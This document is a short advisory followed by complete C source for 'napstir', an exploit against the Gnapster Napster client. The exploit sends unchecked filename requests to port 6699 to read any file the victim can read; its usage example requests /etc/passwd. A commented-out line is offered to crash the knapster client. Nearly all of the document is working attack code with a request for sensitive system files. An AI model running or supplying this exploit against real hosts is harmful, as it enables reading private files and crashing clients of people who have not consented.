Gnapster and possibly other napster clients do not check the integrity of filenames in download requests. Any filename that the client user has read access to may be downloaded. Also includes some service denial techniques.
5712de51a767ac94e1223643e7f8b24f6f5b3594014d86267156adb3b30b5091
/* napstir by Derek Callaway <super@udel.edu> -- S@IRC *
* Exploits a gnapster bug... (probably exists in other clients, too.)
* Greetings: inNUENdo, s0ftpj, napster
* I discovered some service denial techniques while coding; see below.
*/
#include<stdio.h>
#include<stdlib.h>
#include<errno.h>
#include<string.h>
#include<netdb.h>
#include<netinet/in.h>
#include<sys/socket.h>
#include<unistd.h>
#include<ctype.h>
void vexit(const char *func){perror(func);exit(EXIT_FAILURE);}
int main(int argc,char**argv){
int sock,port,len;
struct hostent *he;
char str[4096],buf[4096],*sln,*op,c;
struct sockaddr_in ta;
if(argc<3){
printf("napstir by S\n");
printf("usage: %s host file [port] [username]\n",argv[0]);
printf("example: %s metallica.com ",argv[0]);
printf("\"\\etc\\passwd\" 6699\n");
printf("default port is 6699\n");
printf("default username is Lamer (usually not required)\n");
exit(EXIT_SUCCESS);
}
if(!(he=gethostbyname(argv[1])))vexit("gethostbyname");
ta.sin_family=AF_INET;
ta.sin_addr=*((struct in_addr*)he->h_addr);
if(argv[3]){
port=strtol(argv[3],(char**)0,10);
if(errno==ERANGE)vexit("strtol");
} else port=6699;
ta.sin_port=htons(port);
memset(&ta.sin_zero,0,sizeof(ta.sin_zero));
if((sock=socket(AF_INET,SOCK_STREAM,0))<0)vexit("socket");
if(connect(sock,(struct sockaddr*)&ta,sizeof(struct sockaddr))<0)
vexit("connect");
/* I wonder what this byte is for. */
recv(sock,&buf,1,0);
/* 9 is the code for T1 bitrate -- Most clients ignore the username
* field.
*/
sprintf(str,"%s \"%s\" 9",(argc>=4)?argv[4]:"Lamer",argv[2]);
send(sock,"GET",3,0);
send(sock,(char*)str,strlen(str),0);
/* * SERVICE DENIAL CODE *
* Uncomment this line if you'd like to crash knapster. :-)
* send(sock,"0",1);
*/
if(!(op=sln=(char*)malloc(1024)))vexit("malloc");
do {
read(sock,&c,1);
sprintf(sln,"%c",c);
sln++;
} while(isdigit(c));
*sln=0;
sln=op;
len=strtol(sln,(char**)0,10);
if(errno==ERANGE)vexit("strtol");
write(STDOUT_FILENO,&c,1);
if((port=read(sock,&buf,len-1))<0)vexit("read");
write(STDOUT_FILENO,buf,port);
exit(EXIT_SUCCESS);
}